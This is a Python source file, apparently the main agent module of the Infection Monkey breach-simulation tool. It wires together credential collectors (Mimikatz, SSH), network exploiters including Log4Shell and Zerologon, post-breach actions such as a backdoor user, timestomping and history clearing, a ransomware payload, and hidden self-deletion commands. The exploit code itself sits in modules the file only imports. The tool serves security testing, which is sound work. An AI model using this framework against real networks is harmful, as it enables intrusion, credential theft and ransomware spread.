forked from p34709852/monkey
587 lines
23 KiB
Python
587 lines
23 KiB
Python
import argparse
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import sys
|
|
from ipaddress import IPv4Interface
|
|
from pathlib import Path, WindowsPath
|
|
from typing import List, Mapping, Optional, Tuple
|
|
|
|
from pubsub.core import Publisher
|
|
|
|
from common.agent_event_serializers import (
|
|
AgentEventSerializerRegistry,
|
|
register_common_agent_event_serializers,
|
|
)
|
|
from common.agent_events import CredentialsStolenEvent
|
|
from common.agent_registration_data import AgentRegistrationData
|
|
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
|
|
from common.network.network_utils import (
|
|
address_to_ip_port,
|
|
get_my_ip_addresses,
|
|
get_network_interfaces,
|
|
)
|
|
from common.types import SocketAddress
|
|
from common.utils.argparse_types import positive_int
|
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
|
from common.version import get_version
|
|
from infection_monkey.agent_event_forwarder import AgentEventForwarder
|
|
from infection_monkey.config import GUID
|
|
from infection_monkey.control import ControlClient
|
|
from infection_monkey.credential_collectors import (
|
|
MimikatzCredentialCollector,
|
|
SSHCredentialCollector,
|
|
)
|
|
from infection_monkey.credential_repository import (
|
|
AggregatingPropagationCredentialsRepository,
|
|
IPropagationCredentialsRepository,
|
|
add_credentials_from_event_to_propagation_credentials_repository,
|
|
)
|
|
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
|
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
|
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
|
from infection_monkey.exploit.powershell import PowerShellExploiter
|
|
from infection_monkey.exploit.smbexec import SMBExploiter
|
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
|
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
|
from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient
|
|
from infection_monkey.master import AutomatedMaster
|
|
from infection_monkey.master.control_channel import ControlChannel
|
|
from infection_monkey.model import VictimHostFactory
|
|
from infection_monkey.network.firewall import app as firewall
|
|
from infection_monkey.network.info import get_free_tcp_port
|
|
from infection_monkey.network.relay import TCPRelay
|
|
from infection_monkey.network.relay.utils import (
|
|
find_available_island_apis,
|
|
notify_disconnect,
|
|
send_remove_from_waitlist_control_message_to_relays,
|
|
)
|
|
from infection_monkey.network_scanning.elasticsearch_fingerprinter import ElasticSearchFingerprinter
|
|
from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter
|
|
from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter
|
|
from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter
|
|
from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter
|
|
from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload
|
|
from infection_monkey.post_breach.actions.change_file_privileges import ChangeSetuidSetgid
|
|
from infection_monkey.post_breach.actions.clear_command_history import ClearCommandHistory
|
|
from infection_monkey.post_breach.actions.collect_processes_list import ProcessListCollection
|
|
from infection_monkey.post_breach.actions.communicate_as_backdoor_user import (
|
|
CommunicateAsBackdoorUser,
|
|
)
|
|
from infection_monkey.post_breach.actions.discover_accounts import AccountDiscovery
|
|
from infection_monkey.post_breach.actions.hide_files import HiddenFiles
|
|
from infection_monkey.post_breach.actions.modify_shell_startup_files import ModifyShellStartupFiles
|
|
from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs
|
|
from infection_monkey.post_breach.actions.timestomping import Timestomping
|
|
from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution
|
|
from infection_monkey.post_breach.actions.use_trap_command import TrapCommand
|
|
from infection_monkey.post_breach.custom_pba import CustomPBA
|
|
from infection_monkey.puppet.puppet import Puppet
|
|
from infection_monkey.system_singleton import SystemSingleton
|
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
|
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
|
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
|
|
ExploitInterceptingTelemetryMessenger,
|
|
)
|
|
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
|
|
LegacyTelemetryMessengerAdapter,
|
|
)
|
|
from infection_monkey.telemetry.state_telem import StateTelem
|
|
from infection_monkey.utils import agent_process
|
|
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
|
from infection_monkey.utils.environment import is_windows_os
|
|
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
|
|
from infection_monkey.utils.ids import get_agent_id, get_machine_id
|
|
from infection_monkey.utils.monkey_dir import (
|
|
create_monkey_dir,
|
|
get_monkey_dir_path,
|
|
remove_monkey_dir,
|
|
)
|
|
from infection_monkey.utils.monkey_log_path import get_agent_log_path
|
|
from infection_monkey.utils.propagation import maximum_depth_reached
|
|
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
|
|
|
logger = logging.getLogger(__name__)
|
|
logging.getLogger("urllib3").setLevel(logging.INFO)
|
|
|
|
|
|
class InfectionMonkey:
|
|
def __init__(self, args):
|
|
logger.info("Monkey is initializing...")
|
|
|
|
self._singleton = SystemSingleton()
|
|
self._opts = self._get_arguments(args)
|
|
self._server_strings = [str(s) for s in self._opts.servers]
|
|
|
|
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
|
|
|
|
server, self._island_api_client = self._connect_to_island_api()
|
|
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
|
|
|
|
self._island_address = SocketAddress(self._cmd_island_ip, self._cmd_island_port)
|
|
|
|
self._control_client = ControlClient(
|
|
server_address=server, island_api_client=self._island_api_client
|
|
)
|
|
self._control_channel = ControlChannel(server, get_agent_id(), self._island_api_client)
|
|
self._register_agent(self._island_address)
|
|
|
|
# TODO Refactor the telemetry messengers to accept control client
|
|
# and remove control_client_object
|
|
ControlClient.control_client_object = self._control_client
|
|
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
|
self._current_depth = self._opts.depth
|
|
self._master = None
|
|
self._relay: TCPRelay
|
|
|
|
@staticmethod
|
|
def _get_arguments(args):
|
|
arg_parser = argparse.ArgumentParser()
|
|
arg_parser.add_argument("-p", "--parent")
|
|
arg_parser.add_argument(
|
|
"-s",
|
|
"--servers",
|
|
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
|
|
)
|
|
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
|
|
opts = arg_parser.parse_args(args)
|
|
InfectionMonkey._log_arguments(opts)
|
|
|
|
return opts
|
|
|
|
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
|
|
def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
|
logger.debug(f"Trying to wake up with servers: {', '.join(self._server_strings)}")
|
|
server_clients = find_available_island_apis(
|
|
self._server_strings, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
|
|
)
|
|
|
|
server, island_api_client = self._select_server(server_clients)
|
|
|
|
if server:
|
|
logger.info(f"Successfully connected to the island via {server}")
|
|
else:
|
|
raise Exception(
|
|
f"Failed to connect to the island via any known servers: {self._server_strings}"
|
|
)
|
|
|
|
# NOTE: Since we pass the address for each of our interfaces to the exploited
|
|
# machines, is it possible for a machine to unintentionally unregister itself from the
|
|
# relay if it is able to connect to the relay over multiple interfaces?
|
|
servers_to_close = (s for s in self._server_strings if s != server and server_clients[s])
|
|
send_remove_from_waitlist_control_message_to_relays(servers_to_close)
|
|
|
|
return server, island_api_client
|
|
|
|
def _register_agent(self, server: SocketAddress):
|
|
agent_registration_data = AgentRegistrationData(
|
|
id=get_agent_id(),
|
|
machine_hardware_id=get_machine_id(),
|
|
start_time=agent_process.get_start_time(),
|
|
# parent_id=parent,
|
|
parent_id=None, # None for now, until we change GUID to UUID
|
|
cc_server=server,
|
|
network_interfaces=get_network_interfaces(),
|
|
)
|
|
self._island_api_client.register_agent(agent_registration_data)
|
|
|
|
def _select_server(
|
|
self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
|
|
) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
|
|
for server in self._server_strings:
|
|
if server_clients[server]:
|
|
return server, server_clients[server]
|
|
|
|
return None, None
|
|
|
|
@staticmethod
|
|
def _log_arguments(args):
|
|
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
|
logger.info(f"Monkey started with arguments: {arg_string}")
|
|
|
|
def start(self):
|
|
if self._is_another_monkey_running():
|
|
logger.info("Another instance of the monkey is already running")
|
|
return
|
|
|
|
logger.info("Agent is starting...")
|
|
logger.info(f"Agent GUID: {GUID}")
|
|
|
|
self._control_client.wakeup(parent=self._opts.parent)
|
|
|
|
# TODO: Reevaluate who is responsible to send this information
|
|
if is_windows_os():
|
|
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
|
|
|
|
run_aws_environment_check(self._telemetry_messenger)
|
|
|
|
should_stop = self._control_channel.should_agent_stop()
|
|
if should_stop:
|
|
logger.info("The Monkey Island has instructed this agent to stop")
|
|
return
|
|
|
|
self._setup()
|
|
self._master.start()
|
|
|
|
def _setup(self):
|
|
logger.debug("Starting the setup phase.")
|
|
|
|
create_monkey_dir()
|
|
|
|
if firewall.is_enabled():
|
|
firewall.add_firewall_rule()
|
|
|
|
config = self._control_channel.get_config()
|
|
|
|
relay_port = get_free_tcp_port()
|
|
self._relay = TCPRelay(
|
|
relay_port,
|
|
self._island_address,
|
|
client_disconnect_timeout=config.keep_tunnel_open_time,
|
|
)
|
|
|
|
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
|
|
self._relay.start()
|
|
|
|
StateTelem(is_done=False, version=get_version()).send()
|
|
|
|
self._build_master(relay_port)
|
|
|
|
register_signal_handlers(self._master)
|
|
|
|
# TODO: This is just a placeholder for now. We will modify/integrate it with PR #2279.
|
|
def _setup_agent_event_serializers(self) -> AgentEventSerializerRegistry:
|
|
agent_event_serializer_registry = AgentEventSerializerRegistry()
|
|
register_common_agent_event_serializers(agent_event_serializer_registry)
|
|
|
|
return agent_event_serializer_registry
|
|
|
|
def _build_server_list(self, relay_port: int):
|
|
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
|
|
return self._server_strings + relay_servers
|
|
|
|
def _build_master(self, relay_port: int):
|
|
servers = self._build_server_list(relay_port)
|
|
local_network_interfaces = get_network_interfaces()
|
|
|
|
# TODO control_channel and control_client have same responsibilities, merge them
|
|
propagation_credentials_repository = AggregatingPropagationCredentialsRepository(
|
|
self._control_channel
|
|
)
|
|
|
|
event_queue = PyPubSubAgentEventQueue(Publisher())
|
|
self._subscribe_events(
|
|
event_queue,
|
|
propagation_credentials_repository,
|
|
self._control_client.server_address,
|
|
self._agent_event_serializer_registry,
|
|
)
|
|
|
|
puppet = self._build_puppet(event_queue)
|
|
|
|
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
|
|
|
|
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
|
|
self._telemetry_messenger, self._relay
|
|
)
|
|
|
|
self._master = AutomatedMaster(
|
|
self._current_depth,
|
|
servers,
|
|
puppet,
|
|
telemetry_messenger,
|
|
victim_host_factory,
|
|
self._control_channel,
|
|
local_network_interfaces,
|
|
propagation_credentials_repository,
|
|
)
|
|
|
|
def _subscribe_events(
|
|
self,
|
|
event_queue: IAgentEventQueue,
|
|
propagation_credentials_repository: IPropagationCredentialsRepository,
|
|
server_address: str,
|
|
agent_event_serializer_registry: AgentEventSerializerRegistry,
|
|
):
|
|
event_queue.subscribe_type(
|
|
CredentialsStolenEvent,
|
|
add_credentials_from_event_to_propagation_credentials_repository(
|
|
propagation_credentials_repository
|
|
),
|
|
)
|
|
event_queue.subscribe_all_events(
|
|
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
|
|
)
|
|
|
|
def _build_puppet(
|
|
self,
|
|
event_queue: IAgentEventQueue,
|
|
) -> IPuppet:
|
|
puppet = Puppet()
|
|
|
|
puppet.load_plugin(
|
|
"MimikatzCollector",
|
|
MimikatzCredentialCollector(event_queue),
|
|
PluginType.CREDENTIAL_COLLECTOR,
|
|
)
|
|
puppet.load_plugin(
|
|
"SSHCollector",
|
|
SSHCredentialCollector(self._telemetry_messenger, event_queue),
|
|
PluginType.CREDENTIAL_COLLECTOR,
|
|
)
|
|
|
|
puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
|
|
|
agent_binary_repository = CachingAgentBinaryRepository(
|
|
island_api_client=self._island_api_client,
|
|
)
|
|
exploit_wrapper = ExploiterWrapper(
|
|
self._telemetry_messenger, event_queue, agent_binary_repository
|
|
)
|
|
|
|
puppet.load_plugin(
|
|
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin(
|
|
"Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin(
|
|
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin(
|
|
"MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER
|
|
)
|
|
|
|
puppet.load_plugin(
|
|
"ZerologonExploiter",
|
|
exploit_wrapper.wrap(ZerologonExploiter),
|
|
PluginType.EXPLOITER,
|
|
)
|
|
|
|
puppet.load_plugin(
|
|
"CommunicateAsBackdoorUser",
|
|
CommunicateAsBackdoorUser(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ModifyShellStartupFiles",
|
|
ModifyShellStartupFiles(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"HiddenFiles", HiddenFiles(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"TrapCommand",
|
|
CommunicateAsBackdoorUser(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ChangeSetuidSetgid",
|
|
ChangeSetuidSetgid(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ScheduleJobs", ScheduleJobs(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"Timestomping", Timestomping(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"AccountDiscovery",
|
|
AccountDiscovery(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ProcessListCollection",
|
|
ProcessListCollection(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"TrapCommand", TrapCommand(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"SignedScriptProxyExecution",
|
|
SignedScriptProxyExecution(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ClearCommandHistory",
|
|
ClearCommandHistory(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"CustomPBA",
|
|
CustomPBA(self._telemetry_messenger, self._control_client),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
|
|
puppet.load_plugin(
|
|
"ransomware",
|
|
RansomwarePayload(self._telemetry_messenger),
|
|
PluginType.PAYLOAD,
|
|
)
|
|
|
|
return puppet
|
|
|
|
def _build_victim_host_factory(
|
|
self, local_network_interfaces: List[IPv4Interface]
|
|
) -> VictimHostFactory:
|
|
on_island = self._running_on_island(local_network_interfaces)
|
|
logger.debug(f"This agent is running on the island: {on_island}")
|
|
|
|
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
|
|
|
|
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
|
|
server_ip, _ = address_to_ip_port(self._control_client.server_address)
|
|
return server_ip in {str(interface.ip) for interface in local_network_interfaces}
|
|
|
|
def _is_another_monkey_running(self):
|
|
return not self._singleton.try_lock()
|
|
|
|
def cleanup(self):
|
|
logger.info("Monkey cleanup started")
|
|
deleted = None
|
|
try:
|
|
if self._master:
|
|
self._master.cleanup()
|
|
|
|
reset_signal_handlers()
|
|
self._stop_relay()
|
|
|
|
if firewall.is_enabled():
|
|
firewall.remove_firewall_rule()
|
|
firewall.close()
|
|
|
|
deleted = InfectionMonkey._self_delete()
|
|
|
|
self._send_log()
|
|
|
|
StateTelem(
|
|
is_done=True, version=get_version()
|
|
).send() # Signal the server (before closing the tunnel)
|
|
|
|
self._close_tunnel()
|
|
except Exception as e:
|
|
logger.error(f"An error occurred while cleaning up the monkey agent: {e}")
|
|
if deleted is None:
|
|
InfectionMonkey._self_delete()
|
|
finally:
|
|
self._singleton.unlock()
|
|
|
|
logger.info("Monkey is shutting down")
|
|
|
|
def _stop_relay(self):
|
|
if self._relay and self._relay.is_alive():
|
|
self._relay.stop()
|
|
|
|
while self._relay.is_alive() and not self._control_channel.should_agent_stop():
|
|
self._relay.join(timeout=5)
|
|
|
|
if self._control_channel.should_agent_stop():
|
|
self._relay.join(timeout=60)
|
|
|
|
def _close_tunnel(self):
|
|
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
|
|
notify_disconnect(self._island_address)
|
|
|
|
def _send_log(self):
|
|
monkey_log_path = get_agent_log_path()
|
|
if monkey_log_path.is_file():
|
|
with open(monkey_log_path, "r") as f:
|
|
log = f.read()
|
|
else:
|
|
log = ""
|
|
|
|
self._control_client.send_log(log)
|
|
|
|
@staticmethod
|
|
def _self_delete() -> bool:
|
|
InfectionMonkey._remove_monkey_dir()
|
|
|
|
if "python" in Path(sys.executable).name:
|
|
return False
|
|
|
|
try:
|
|
if "win32" == sys.platform:
|
|
mark_file_for_deletion_on_windows(
|
|
WindowsPath(sys.executable), UsageEnum.AGENT_WINAPI
|
|
)
|
|
InfectionMonkey._self_delete_windows()
|
|
else:
|
|
InfectionMonkey._self_delete_linux()
|
|
|
|
T1107Telem(ScanStatus.USED, sys.executable).send()
|
|
return True
|
|
except Exception as exc:
|
|
logger.error("Exception in self delete: %s", exc)
|
|
T1107Telem(ScanStatus.SCANNED, sys.executable).send()
|
|
|
|
return False
|
|
|
|
@staticmethod
|
|
def _remove_monkey_dir():
|
|
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
|
|
T1107Telem(status, get_monkey_dir_path()).send()
|
|
|
|
@staticmethod
|
|
def _self_delete_windows():
|
|
delay_delete_cmd = InfectionMonkey._build_windows_delete_command()
|
|
startupinfo = InfectionMonkey._get_startup_info()
|
|
|
|
subprocess.Popen(
|
|
delay_delete_cmd,
|
|
stdin=None,
|
|
stdout=None,
|
|
stderr=None,
|
|
close_fds=True,
|
|
startupinfo=startupinfo,
|
|
)
|
|
|
|
@staticmethod
|
|
def _build_windows_delete_command() -> str:
|
|
agent_pid = os.getpid()
|
|
agent_file_path = sys.executable
|
|
|
|
# Returns 1 if the process is running and 0 otherwise
|
|
check_running_agent_cmd = f'tasklist /fi "PID eq {agent_pid}" ^| find /C "{agent_pid}"'
|
|
|
|
sleep_seconds = 5
|
|
delete_file_and_exit_cmd = f"del /f /q {agent_file_path} & exit"
|
|
|
|
# Checks if the agent process is still running.
|
|
# If the agent is still running, it sleeps for 'sleep_seconds' before checking again.
|
|
# If the agent is not running, it deletes the executable and exits the loop.
|
|
# The check runs up to 20 times to give the agent ample time to shutdown.
|
|
delete_agent_cmd = (
|
|
f'cmd /c (for /l %i in (1,1,20) do (for /F "delims=" %j IN '
|
|
f'(\'{check_running_agent_cmd}\') DO if "%j"=="1" (timeout {sleep_seconds}) else '
|
|
f"({delete_file_and_exit_cmd})) ) > NUL 2>&1"
|
|
)
|
|
|
|
return delete_agent_cmd
|
|
|
|
@staticmethod
|
|
def _get_startup_info():
|
|
from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE
|
|
|
|
startupinfo = subprocess.STARTUPINFO()
|
|
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
|
startupinfo.wShowWindow = SW_HIDE
|
|
|
|
return startupinfo
|
|
|
|
@staticmethod
|
|
def _self_delete_linux():
|
|
os.remove(sys.executable)
|